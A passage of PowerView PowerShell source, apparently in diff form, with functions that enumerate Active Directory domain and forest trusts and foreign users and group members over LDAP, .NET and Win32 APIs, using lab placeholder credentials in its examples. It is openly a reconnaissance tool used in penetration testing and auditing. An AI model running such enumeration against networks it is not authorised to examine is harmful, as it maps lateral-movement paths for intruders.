"prod.testlab.local" domain using .NET methods + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainTrust -Domain "prod.testlab.local" -Server "PRIMARY.testlab.local" -Credential $Cred + +Return domain trusts for the "prod.testlab.local" domain enumerated through LDAP +queries, binding to the PRIMARY.testlab.local server for queries, and using the specified +alternate credenitals. + +.EXAMPLE + +Get-DomainTrust -API -Domain "prod.testlab.local" + +Return domain trusts for the "prod.testlab.local" domain enumerated through API calls. + +.OUTPUTS + +PowerView.DomainTrust.LDAP + +Custom PSObject with translated domain LDAP trust result fields (default). + +PowerView.DomainTrust.NET + +A TrustRelationshipInformationCollection returned when using .NET methods. + +PowerView.DomainTrust.API + +Custom PSObject with translated domain API trust result fields. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.DomainTrust.NET')] + [OutputType('PowerView.DomainTrust.LDAP')] + [OutputType('PowerView.DomainTrust.API')] + [CmdletBinding(DefaultParameterSetName = 'LDAP')] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('Name')] + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [Parameter(ParameterSetName = 'API')] + [Switch] + $API, + + [Parameter(ParameterSetName = 'NET')] + [Switch] + $NET, + + [Parameter(ParameterSetName = 'LDAP')] + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [Parameter(ParameterSetName = 'LDAP')] + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [Parameter(ParameterSetName = 'LDAP')] + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [Parameter(ParameterSetName = 'LDAP')] + [Parameter(ParameterSetName = 'API')] + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [Parameter(ParameterSetName = 'LDAP')] + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [Parameter(ParameterSetName = 'LDAP')] + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [Parameter(ParameterSetName = 'LDAP')] + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Parameter(ParameterSetName = 'LDAP')] + [Switch] + $Tombstone, + + [Alias('ReturnOne')] + [Switch] + $FindOne, + + [Parameter(ParameterSetName = 'LDAP')] + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $TrustAttributes = @{ + [uint32]'0x00000001' = 'NON_TRANSITIVE' + [uint32]'0x00000002' = 'UPLEVEL_ONLY' + [uint32]'0x00000004' = 'FILTER_SIDS' + [uint32]'0x00000008' = 'FOREST_TRANSITIVE' + [uint32]'0x00000010' = 'CROSS_ORGANIZATION' + [uint32]'0x00000020' = 'WITHIN_FOREST' + [uint32]'0x00000040' = 'TREAT_AS_EXTERNAL' + [uint32]'0x00000080' = 'TRUST_USES_RC4_ENCRYPTION' + [uint32]'0x00000100' = 'TRUST_USES_AES_KEYS' + [uint32]'0x00000200' = 'CROSS_ORGANIZATION_NO_TGT_DELEGATION' + [uint32]'0x00000400' = 'PIM_TRUST' + } + + $LdapSearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $LdapSearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['LDAPFilter']) { $LdapSearcherArguments['LDAPFilter'] = $LDAPFilter } + if ($PSBoundParameters['Properties']) { $LdapSearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $LdapSearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $LdapSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $LdapSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $LdapSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $LdapSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $LdapSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $LdapSearcherArguments['Credential'] = $Credential } + } + + PROCESS { + if ($PsCmdlet.ParameterSetName -ne 'API') { + $NetSearcherArguments = @{} + if ($Domain -and $Domain.Trim() -ne '') { + $SourceDomain = $Domain + } + else { + if ($PSBoundParameters['Credential']) { + $SourceDomain = (Get-Domain -Credential $Credential).Name + } + else { + $SourceDomain = (Get-Domain).Name + } + } + } + elseif ($PsCmdlet.ParameterSetName -ne 'NET') { + if ($Domain -and $Domain.Trim() -ne '') { + $SourceDomain = $Domain + } + else { + $SourceDomain = $Env:USERDNSDOMAIN + } + } + + if ($PsCmdlet.ParameterSetName -eq 'LDAP') { + # if we're searching for domain trusts through LDAP/ADSI + $TrustSearcher = Get-DomainSearcher @LdapSearcherArguments + $SourceSID = Get-DomainSID @NetSearcherArguments + + if ($TrustSearcher) { + + $TrustSearcher.Filter = '(objectClass=trustedDomain)' + + if ($PSBoundParameters['FindOne']) { $Results = $TrustSearcher.FindOne() } + else { $Results = $TrustSearcher.FindAll() } + $Results | Where-Object {$_} | ForEach-Object { + $Props = $_.Properties + $DomainTrust = New-Object PSObject + + $TrustAttrib = @() + $TrustAttrib += $TrustAttributes.Keys | Where-Object { $Props.trustattributes[0] -band $_ } | ForEach-Object { $TrustAttributes[$_] } + + $Direction = Switch ($Props.trustdirection) { + 0 { 'Disabled' } + 1 { 'Inbound' } + 2 { 'Outbound' } + 3 { 'Bidirectional' } + } + + $TrustType = Switch ($Props.trusttype) { + 1 { 'WINDOWS_NON_ACTIVE_DIRECTORY' } + 2 { 'WINDOWS_ACTIVE_DIRECTORY' } + 3 { 'MIT' } + } + + $Distinguishedname = $Props.distinguishedname[0] + $SourceNameIndex = $Distinguishedname.IndexOf('DC=') + if ($SourceNameIndex) { + $SourceDomain = $($Distinguishedname.SubString($SourceNameIndex)) -replace 'DC=','' -replace ',','.' + } + else { + $SourceDomain = "" + } + + $TargetNameIndex = $Distinguishedname.IndexOf(',CN=System') + if ($SourceNameIndex) { + $TargetDomain = $Distinguishedname.SubString(3, $TargetNameIndex-3) + } + else { + $TargetDomain = "" + } + + $ObjectGuid = New-Object Guid @(,$Props.objectguid[0]) + $TargetSID = (New-Object System.Security.Principal.SecurityIdentifier($Props.securityidentifier[0],0)).Value + + $DomainTrust | Add-Member Noteproperty 'SourceName' $SourceDomain + $DomainTrust | Add-Member Noteproperty 'TargetName' $Props.name[0] + # $DomainTrust | Add-Member Noteproperty 'TargetGuid' "{$ObjectGuid}" + $DomainTrust | Add-Member Noteproperty 'TrustType' $TrustType + $DomainTrust | Add-Member Noteproperty 'TrustAttributes' $($TrustAttrib -join ',') + $DomainTrust | Add-Member Noteproperty 'TrustDirection' "$Direction" + $DomainTrust | Add-Member Noteproperty 'WhenCreated' $Props.whencreated[0] + $DomainTrust | Add-Member Noteproperty 'WhenChanged' $Props.whenchanged[0] + $DomainTrust.PSObject.TypeNames.Insert(0, 'PowerView.DomainTrust.LDAP') + $DomainTrust + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainTrust] Error disposing of the Results object: $_" + } + } + $TrustSearcher.dispose() + } + } + elseif ($PsCmdlet.ParameterSetName -eq 'API') { + # if we're searching for domain trusts through Win32 API functions + if ($PSBoundParameters['Server']) { + $TargetDC = $Server + } + elseif ($Domain -and $Domain.Trim() -ne '') { + $TargetDC = $Domain + } + else { + # see https://msdn.microsoft.com/en-us/library/ms675976(v=vs.85).aspx for default NULL behavior + $TargetDC = $Null + } + + # arguments for DsEnumerateDomainTrusts + $PtrInfo = [IntPtr]::Zero + + # 63 = DS_DOMAIN_IN_FOREST + DS_DOMAIN_DIRECT_OUTBOUND + DS_DOMAIN_TREE_ROOT + DS_DOMAIN_PRIMARY + DS_DOMAIN_NATIVE_MODE + DS_DOMAIN_DIRECT_INBOUND + $Flags = 63 + $DomainCount = 0 + + # get the trust information from the target server + $Result = $Netapi32::DsEnumerateDomainTrusts($TargetDC, $Flags, [ref]$PtrInfo, [ref]$DomainCount) + + # Locate the offset of the initial intPtr + $Offset = $PtrInfo.ToInt64() + + # 0 = success + if (($Result -eq 0) -and ($Offset -gt 0)) { + + # Work out how much to increment the pointer by finding out the size of the structure + $Increment = $DS_DOMAIN_TRUSTS::GetSize() + + # parse all the result structures + for ($i = 0; ($i -lt $DomainCount); $i++) { + # create a new int ptr at the given offset and cast the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $DS_DOMAIN_TRUSTS + + $Offset = $NewIntPtr.ToInt64() + $Offset += $Increment + + $SidString = '' + $Result = $Advapi32::ConvertSidToStringSid($Info.DomainSid, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + + if ($Result -eq 0) { + Write-Verbose "[Get-DomainTrust] Error: $(([ComponentModel.Win32Exception] $LastError).Message)" + } + else { + $DomainTrust = New-Object PSObject + $DomainTrust | Add-Member Noteproperty 'SourceName' $SourceDomain + $DomainTrust | Add-Member Noteproperty 'TargetName' $Info.DnsDomainName + $DomainTrust | Add-Member Noteproperty 'TargetNetbiosName' $Info.NetbiosDomainName + $DomainTrust | Add-Member Noteproperty 'Flags' $Info.Flags + $DomainTrust | Add-Member Noteproperty 'ParentIndex' $Info.ParentIndex + $DomainTrust | Add-Member Noteproperty 'TrustType' $Info.TrustType + $DomainTrust | Add-Member Noteproperty 'TrustAttributes' $Info.TrustAttributes + $DomainTrust | Add-Member Noteproperty 'TargetSid' $SidString + $DomainTrust | Add-Member Noteproperty 'TargetGuid' $Info.DomainGuid + $DomainTrust.PSObject.TypeNames.Insert(0, 'PowerView.DomainTrust.API') + $DomainTrust + } + } + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + } + else { + Write-Verbose "[Get-DomainTrust] Error: $(([ComponentModel.Win32Exception] $Result).Message)" + } + } + else { + # if we're searching for domain trusts through .NET methods + $FoundDomain = Get-Domain @NetSearcherArguments + if ($FoundDomain) { + $FoundDomain.GetAllTrustRelationships() | ForEach-Object { + $_.PSObject.TypeNames.Insert(0, 'PowerView.DomainTrust.NET') + $_ + } + } + } + } +} + + +function Get-ForestTrust { +<# +.SYNOPSIS + +Return all forest trusts for the current forest or a specified forest. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Forest + +.DESCRIPTION + +This function will enumerate domain trust relationships for the current (or a remote) +forest using number of method using the .NET method GetAllTrustRelationships() on a +System.DirectoryServices.ActiveDirectory.Forest returned by Get-Forest. + +.PARAMETER Forest + +Specifies the forest to query for trusts, defaults to the current forest. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-ForestTrust + +Return current forest trusts. + +.EXAMPLE + +Get-ForestTrust -Forest "external.local" + +Return trusts for the "external.local" forest. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-ForestTrust -Forest "external.local" -Credential $Cred + +Return trusts for the "external.local" forest using the specified alternate credenitals. + +.OUTPUTS + +PowerView.DomainTrust.NET + +A TrustRelationshipInformationCollection returned when using .NET methods (default). +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.ForestTrust.NET')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('Name')] + [ValidateNotNullOrEmpty()] + [String] + $Forest, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + PROCESS { + $NetForestArguments = @{} + if ($PSBoundParameters['Forest']) { $NetForestArguments['Forest'] = $Forest } + if ($PSBoundParameters['Credential']) { $NetForestArguments['Credential'] = $Credential } + + $FoundForest = Get-Forest @NetForestArguments + + if ($FoundForest) { + $FoundForest.GetAllTrustRelationships() | ForEach-Object { + $_.PSObject.TypeNames.Insert(0, 'PowerView.ForestTrust.NET') + $_ + } + } + } +} + + +function Get-DomainForeignUser { +<# +.SYNOPSIS + +Enumerates users who are in groups outside of the user's domain. +This is a domain's "outgoing" access. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Domain, Get-DomainUser + +.DESCRIPTION + +Uses Get-DomainUser to enumerate all users for the current (or target) domain, +then calculates the given user's domain name based on the user's distinguishedName. +This domain name is compared to the queried domain, and the user object is +output if they differ. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER SecurityMasks + +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainForeignUser + +Return all users in the current domain who are in groups not in the +current domain. + +.EXAMPLE + +Get-DomainForeignUser -Domain dev.testlab.local + +Return all users in the dev.testlab.local domain who are in groups not in the +dev.testlab.local domain. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainForeignUser -Domain dev.testlab.local -Server secondary.dev.testlab.local -Credential $Cred + +Return all users in the dev.testlab.local domain who are in groups not in the +dev.testlab.local domain, binding to the secondary.dev.testlab.local for queries, and +using the specified alternate credentials. + +.OUTPUTS + +PowerView.ForeignUser + +Custom PSObject with translated user property fields. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.ForeignUser')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('Name')] + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $SearcherArguments = @{} + $SearcherArguments['LDAPFilter'] = '(memberof=*)' + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + if ($PSBoundParameters['Raw']) { $SearcherArguments['Raw'] = $Raw } + } + + PROCESS { + Get-DomainUser @SearcherArguments | ForEach-Object { + ForEach ($Membership in $_.memberof) { + $Index = $Membership.IndexOf('DC=') + if ($Index) { + + $GroupDomain = $($Membership.SubString($Index)) -replace 'DC=','' -replace ',','.' + $UserDistinguishedName = $_.distinguishedname + $UserIndex = $UserDistinguishedName.IndexOf('DC=') + $UserDomain = $($_.distinguishedname.SubString($UserIndex)) -replace 'DC=','' -replace ',','.' + + if ($GroupDomain -ne $UserDomain) { + # if the group domain doesn't match the user domain, display it + $GroupName = $Membership.Split(',')[0].split('=')[1] + $ForeignUser = New-Object PSObject + $ForeignUser | Add-Member Noteproperty 'UserDomain' $UserDomain + $ForeignUser | Add-Member Noteproperty 'UserName' $_.samaccountname + $ForeignUser | Add-Member Noteproperty 'UserDistinguishedName' $_.distinguishedname + $ForeignUser | Add-Member Noteproperty 'GroupDomain' $GroupDomain + $ForeignUser | Add-Member Noteproperty 'GroupName' $GroupName + $ForeignUser | Add-Member Noteproperty 'GroupDistinguishedName' $Membership + $ForeignUser.PSObject.TypeNames.Insert(0, 'PowerView.ForeignUser') + $ForeignUser + } + } + } + } + } +} + + +function Get-DomainForeignGroupMember { +<# +.SYNOPSIS + +Enumerates groups with users outside of the group's domain and returns +each foreign member. This is a domain's "incoming" access. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Domain, Get-DomainGroup + +.DESCRIPTION + +Uses Get-DomainGroup to enumerate all groups for the current (or target) domain, +then enumerates the members of each group, and compares the member's domain +name to the parent group's domain name, outputting the member if the domains differ. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER SecurityMasks + +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainForeignGroupMember + +Return all group members in the current domain where the group and member differ. + +.EXAMPLE + +Get-DomainForeignGroupMember -Domain dev.testlab.local + +Return all group members in the dev.testlab.local domain where the member is not in dev.testlab.local. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainForeignGroupMember -Domain dev.testlab.local -Server secondary.dev.testlab.local -Credential $Cred + +Return all group members in the dev.testlab.local domain where the member is +not in dev.testlab.local. binding to the secondary.dev.testlab.local for +queries, and using the specified alternate credentials. + +.OUTPUTS + +PowerView.ForeignGroupMember + +Custom PSObject with translated group member property fields. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.ForeignGroupMember')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('Name')] + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $SearcherArguments = @{} + $SearcherArguments['LDAPFilter'] = '(member=*)' + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + if ($PSBoundParameters['Raw']) { $SearcherArguments['Raw'] = $Raw } + } + + PROCESS { + # standard group names to ignore + $ExcludeGroups = @('Users', 'Domain Users', 'Guests') + + Get-DomainGroup @SearcherArguments | Where-Object { $ExcludeGroups -notcontains $_.samaccountname } | ForEach-Object { + $GroupName = $_.samAccountName + $GroupDistinguishedName = $_.distinguishedname + $GroupDomain = $GroupDistinguishedName.SubString($GroupDistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + + $_.member | ForEach-Object { + # filter for foreign SIDs in the cn field for users in another domain, + # or if the DN doesn't end with the proper DN for the queried domain + $MemberDomain = $_.SubString($_.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + if (($_ -match 'CN=S-1-5-21.*-.*') -or ($GroupDomain -ne $MemberDomain)) { + $MemberDistinguishedName = $_ + $MemberName = $_.Split(',')[0].split('=')[1] + + $ForeignGroupMember = New-Object PSObject + $ForeignGroupMember | Add-Member Noteproperty 'GroupDomain' $GroupDomain + $ForeignGroupMember | Add-Member Noteproperty 'GroupName' $GroupName + $ForeignGroupMember | Add-Member Noteproperty 'GroupDistinguishedName' $GroupDistinguishedName + $ForeignGroupMember | Add-Member Noteproperty 'MemberDomain' $MemberDomain + $ForeignGroupMember | Add-Member Noteproperty 'MemberName' $MemberName + $ForeignGroupMember | Add-Member Noteproperty 'MemberDistinguishedName' $MemberDistinguishedName + $ForeignGroupMember.PSObject.TypeNames.Insert(0, 'PowerView.ForeignGroupMember') + $ForeignGroupMember + } + } + } + } +} + + +function Get-DomainTrustMapping { +<# +.SYNOPSIS + +This function enumerates all trusts for the current domain and then enumerates +all trusts for each domain it finds. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Domain, Get-DomainTrust, Get-ForestTrust + +.DESCRIPTION + +This function will enumerate domain trust relationships for the current domain using +a number of methods, and then enumerates all trusts for each found domain, recursively +mapping all reachable trust relationships. By default, and LDAP search using the filter +'(objectClass=trustedDomain)' is used- if any LDAP-appropriate parameters are specified +LDAP is used as well. If the -NET flag is specified, the .NET method +GetAllTrustRelationships() is used on the System.DirectoryServices.ActiveDirectory.Domain +object. If the -API flag is specified, the Win32 API DsEnumerateDomainTrusts() call is +used to enumerate instead. If any + +.PARAMETER API + +Switch. Use an API call (DsEnumerateDomainTrusts) to enumerate the trusts instead of the +built-in LDAP method. + +.PARAMETER NET + +Switch. Use .NET queries to enumerate trusts instead of the default LDAP method. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainTrustMapping | Export-CSV -NoTypeInformation trusts.csv + +Map all reachable domain trusts using .NET methods and output everything to a .csv file. + +.EXAMPLE + +Get-DomainTrustMapping -API | Export-CSV -NoTypeInformation trusts.csv + +Map all reachable domain trusts using Win32 API calls and output everything to a .csv file. + +.EXAMPLE + +Get-DomainTrustMapping -NET | Export-CSV -NoTypeInformation trusts.csv + +Map all reachable domain trusts using .NET methods and output everything to a .csv file. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainTrustMapping -Server 'PRIMARY.testlab.local' | Export-CSV -NoTypeInformation trusts.csv + +Map all reachable domain trusts using LDAP, binding to the PRIMARY.testlab.local server for queries +using the specified alternate credentials, and output everything to a .csv file. + +.OUTPUTS + +PowerView.DomainTrust.LDAP + +Custom PSObject with translated domain LDAP trust result fields (default). + +PowerView.DomainTrust.NET + +A TrustRelationshipInformationCollection returned when using .NET methods. + +PowerView.DomainTrust.API + +Custom PSObject with translated domain API trust result fields. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.DomainTrust.NET')] + [OutputType('PowerView.DomainTrust.LDAP')] + [OutputType('PowerView.DomainTrust.API')] + [CmdletBinding(DefaultParameterSetName = 'LDAP')] + Param( + [Parameter(ParameterSetName = 'API')] + [Switch] + $API, + + [Parameter(ParameterSetName = 'NET')] + [Switch] + $NET, + + [Parameter(ParameterSetName = 'LDAP')] + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [Parameter(ParameterSetName = 'LDAP')] + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [Parameter(ParameterSetName = 'LDAP')] + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [Parameter(ParameterSetName = 'LDAP')] + [Parameter(ParameterSetName = 'API')] + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [Parameter(ParameterSetName = 'LDAP')] + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [Parameter(ParameterSetName = 'LDAP')] + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [Parameter(ParameterSetName = 'LDAP')] + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Parameter(ParameterSetName = 'LDAP')] + [Switch] + $Tombstone, + + [Parameter(ParameterSetName = 'LDAP')] + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + # keep track of domains seen so we don't hit infinite recursion + $SeenDomains = @{} + + # our domain status tracker + $Domains = New-Object System.Collections.Stack + + $DomainTrustArguments = @{} + if ($PSBoundParameters['API']) { $DomainTrustArguments['API'] = $API } + if ($PSBoundParameters['NET']) { $DomainTrustArguments['NET'] = $NET } + if ($PSBoundParameters['LDAPFilter']) { $DomainTrustArguments['LDAPFilter'] = $LDAPFilter } + if ($PSBoundParameters['Properties']) { $DomainTrustArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $DomainTrustArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $DomainTrustArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $DomainTrustArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $DomainTrustArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $DomainTrustArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $DomainTrustArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $DomainTrustArguments['Credential'] = $Credential } + + # get the current domain and push it onto the stack + if ($PSBoundParameters['Credential']) { + $CurrentDomain = (Get-Domain -Credential $Credential).Name + } + else { + $CurrentDomain = (Get-Domain).Name + } + $Domains.Push($CurrentDomain) + + while($Domains.Count -ne 0) { + + $Domain = $Domains.Pop() + + # if we haven't seen this domain before + if ($Domain -and ($Domain.Trim() -ne '') -and 